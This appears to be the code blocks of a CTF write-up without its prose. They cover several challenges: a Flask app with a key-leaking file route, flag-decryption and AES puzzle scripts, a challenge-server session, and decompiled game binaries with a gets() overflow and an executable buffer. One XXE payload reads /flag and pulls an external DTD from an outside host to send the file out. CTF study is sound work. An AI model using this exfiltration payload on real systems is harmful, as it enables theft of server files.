1

$ strings .\flowzip.pcapng | grep flag

1

jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

import os
from flask import Flask, request, render_template
from config import *


app = Flask(__name__)


sensitive_info = SENSITIVE_INFO


encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)


log_content = f"用户访问了 /secret 页面，可能试图获取 {encrypted_sensitive_info}"


hidden_file_content = f"解密密钥: {encryption_key}"


SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/logs')
def logs():
    return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
    return render_template('secret.html')

@app.route('/file')
def file():
    file_name = request.args.get('name')
    if not file_name:
        return render_template('no_file_name.html')
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
        return render_template('no_premission.html')
    try:
        with open(full_path, 'r') as f:
            content = f.read()
        return render_template('file_content.html', content=content)
    except FileNotFoundError:
        return render_template('file_not_found.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

1
2
3
4

SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

1
2
3
4
5
6
7

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]    
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

1
2
3
4
5
6
7
8
9
10
11
12

SECRET = bytearray.fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1')

key = "secret_key7434"

decrypted = bytearray()

for i in range(len(SECRET)):
    char = SECRET[i]
    key_char = key[i % len(key)]
    decrypted.append(char - ord(key_char))
    
print(decrypted)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

from Crypto.Cipher import AES  
from secret import flag       
import random, os             


def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])


def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  
    random.shuffle(tables)                    
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  
    return newkey


def gen():
    key0 = os.urandom(16).hex()  
    key1 = permutation(key0)     
    return key0, key1


def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  
    return aes1.decrypt(aes0.encrypt(msg))    


key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  

gift = a0 & a1  
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
key1 = 74aeb356c6eb74f364cd316497c0f714
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
'''

1
2
3
4
5
6
7
8
9
10
11
12
13

╰─  nc 39.105.2.63 20628
 _____ _____ ______ _____         _
|  ___/  __ \| ___ \_   _|       (_)
| |__ | /  \/| |_/ / | |_ __ __ _ _ _ __
|  __|| |    | ___ \ | | '__/ _` | | '_ \
| |___| \__/\| |_/ / | | | | (_| | | | | |
\____/ \____/\____/  \_/_|  \__,_|_|_| |_|

请选择操作：
1. 注册
2. 登录
3. 退出
请输入选项编号:

1
2
3
4

请输入选项编号: 1
请输入用户名: user
请输入密码: 123
注册成功！你的auth为: eHDaWi860uwUt/Khad7iSw==

1
2
3
4
5
6
7
8
9

请选择操作：
1. 注册
2. 登录
3. 退出
请输入选项编号: 2
若是能以admin身份登录就给你flag。
请输入auth: eHDaWi860uwUt/Khad7iSw==
登录成功！
你是以 user 身份登录

1
2
3
4
5
6
7
8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd">
%dtd;
%send;
]>
<reg><name>11</name><tel>22</tel><email>33</email></reg>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char Str1[128]; 
  char Str2[128]; 
  void *v6; 
  void *v7; 
  void *v8; 
  void *v9; 
  void *v10; 
  void *v11; 
  char v12[13]; 
  char v13[15]; 
  char Src[5]; 
  char v15[9]; 
  void *v16; 
  void *v17; 
  void *Block; 
  char v19[6]; 
  size_t v20; 
  size_t v21; 
  size_t Size; 

  sub_401B10();
  Src[0] = 0;                                   
  Src[1] = 5;
  Src[2] = -125;
  Src[3] = 0x80;
  Src[4] = -114;
  strcpy(v15, "+");
  v15[2] = -125;                                
  v15[3] = 47;
  v15[4] = -86;
  v15[5] = 43;
  v15[6] = -127;
  v15[7] = -88;
  v15[8] = -91;
  Size = 14i64;
  v13[0] = 19;                                  
  v13[1] = 57;
  v13[2] = -66;
  v13[3] = -66;
  v13[4] = -76;
  v13[5] = 56;
  v13[6] = -72;
  v13[7] = -70;
  v13[8] = -69;
  v13[9] = -76;
  v13[10] = 62;
  v13[11] = -112;
  v13[12] = 58;
  v13[13] = -70;
  v13[14] = -76;
  v21 = 15i64;
  v12[0] = -117;                                
  v12[1] = -119;
  v12[2] = 34;
  v12[3] = -120;
  v12[4] = -117;
  v12[5] = 32;
  v12[6] = 9;
  v12[7] = 34;
  v12[8] = -120;
  v12[9] = 8;
  v12[10] = -115;
  v12[11] = -120;
  v12[12] = -81;
  v20 = 13i64;
  v19[5] = -103;                                
  v19[4] = -35;
  v19[3] = -1;
  qmemcpy(v19, "\"Df", 3);
  Block = malloc(0xFui64);
  v17 = malloc(v21 + 1);
  v16 = malloc(v20 + 1);
  if ( !Block || !v17 || !v16 )
  {
    puts(&Buffer);
    exit(1);
  }
  memcpy(Block, Src, Size);
  memcpy(v17, v13, v21);
  memcpy(v16, v12, v20);
  sub_4015B6((__int64)Block, Size, v19[2]);
  sub_4015B6((__int64)v17, v21, v19[1]);
  sub_4015B6((__int64)v16, v20, v19[0]);
  *((_BYTE *)Block + Size) = 0;
  *((_BYTE *)v17 + v21) = 0;
  *((_BYTE *)v16 + v20) = 0;
  v9 = v17;
  v10 = v16;
  v11 = Block;
  v6 = Block;
  v7 = v17;
  v8 = v16;
  sub_401550(Str2, 0x80ui64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);
  printf(&Format);
  scanf("%127s", Str1);
  if ( !strcmp(Str1, Str2) )
    puts(&byte_40502A);
  else
    puts(&byte_405031);
  free(Block);
  free(v17);
  free(v16);
  return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; 
  int v5[2]; 
  unsigned int i; 
  int v7; 
  int v8; 

  _main(argc, argv, envp);
  v8 = 15;
  v3 = time(0i64);
  srand(v3);
  puts("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program");
  puts("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n");
  v5[1] = 0;
  while ( v8 > 0 )
  {
    printf("Remaining steps: [%d]\n", (unsigned int)v8);
    do
    {
      printf("Number of steps (1-3): ");
      while ( scanf("%d", v5) != 1 )
      {
        printf("Input error, please re-enter: ");
        while ( getchar() != 10 )
          ;
      }
      if ( v5[0] > 0 && v5[0] <= 3 )
      {
        if ( v8 < v5[0] )
          printf(aNotEnoughSteps, (unsigned int)v8);
      }
      else
      {
        puts(aMustTake13Step);
      }
    }
    while ( v5[0] <= 0 || v5[0] > 3 || v8 < v5[0] );
    v8 -= v5[0];
    printf("* Player walks %d steps, remaining %d\n\n", (unsigned int)v5[0], (unsigned int)v8);
    if ( v8 <= 0 )
    {
      full_decrypt();
      puts("This is your KEY. You deserve it ! !");
      for ( i = 0; i <= 0x2F; ++i )
        printf("%02X", real_key[i]);
      break;
    }
    v7 = calculate_best_move((unsigned int)v8);
    if ( v7 <= 0 || v7 > 3 )
      v7 = 1;
    if ( v7 > v8 )
      v7 = v8;
    v8 -= v7;
    printf("* The AI takes %d steps, remaining %d\n\n", (unsigned int)v7, (unsigned int)v8);
    if ( v8 <= 0 )
      puts("This treasure does not belong to you. Go back, Boy");
  }
  printf("\nGame over ! ");
  system("pause");
  return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12

__int64 __fastcall calculate_best_move(int a1)
{
  if ( a1 <= 0 )
    return 0i64;
  if ( a1 % 4 )
    return (unsigned int)(a1 % 4);
  if ( a1 == 4 )
    return 3i64;
  if ( a1 == 8 )
    return 3i64;
  return (unsigned int)(rand() % 3 + 1);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

void __noreturn battle_loop()
{
  unsigned int v0; 
  char v1; 
  int v2; 
  unsigned int v3; 
  int v4; 
  int v5; 

  v4 = 100;
  v5 = 150;
  v2 = 1;
  puts("\n==== BOSS BATTLE START ====");
  while ( 1 )
  {
    v0 = v2++;
    printf("\n-- Round %d --\n", v0);
    printf("Player HP: %d | Boss HP: %d\n", (unsigned int)v4, (unsigned int)v5);
    v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20);
    printf("You attack! Damage: %d\n", v3);
    v5 -= v3;
    if ( v5 <= 0 )
      break;
    printf("\nDefend? (y/N): ");
    v1 = getchar();
    while ( getchar() != 10 )
      ;
    if ( v1 == 121 || v1 == 89 )
    {
      v4 -= 7;
      printf("You defend! Damage reduced: %d\n", 15LL);
    }
    else
    {
      v4 -= 30;
      printf("No defense! Damage taken: %d\n", 30LL);
    }
    if ( v4 <= 0 )
    {
      puts("\n[System] Game Over...");
      boss_victory();
      exit(0);
    }
  }
  puts("\n[System] Boss defeated!");
  victory_message();
  exit(0);
}

1
2
3
4
5
6
7
8
9
10
11

unsigned __int64 victory_message()
{
  char v1[40]; 
  unsigned __int64 v2; 

  v2 = __readfsqword(0x28u);
  printf("[System] Enter victory comment: ");
  gets(v1);
  printf("Your comment: %s\n", v1);
  return __readfsqword(0x28u) ^ v2;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

__int64 boss_victory()
{
  void *addr; 

  addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL);
  if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 )
  {
    perror("mprotect failed");
    exit(1);
  }
  printf("[BOSS] Your place is mine now %p!\n", addr);
  printf("[BOSS] Say your last word to your territory: ");
  read(0, addr, 1056uLL);
  return ((__int64 (*)(void))addr)();
}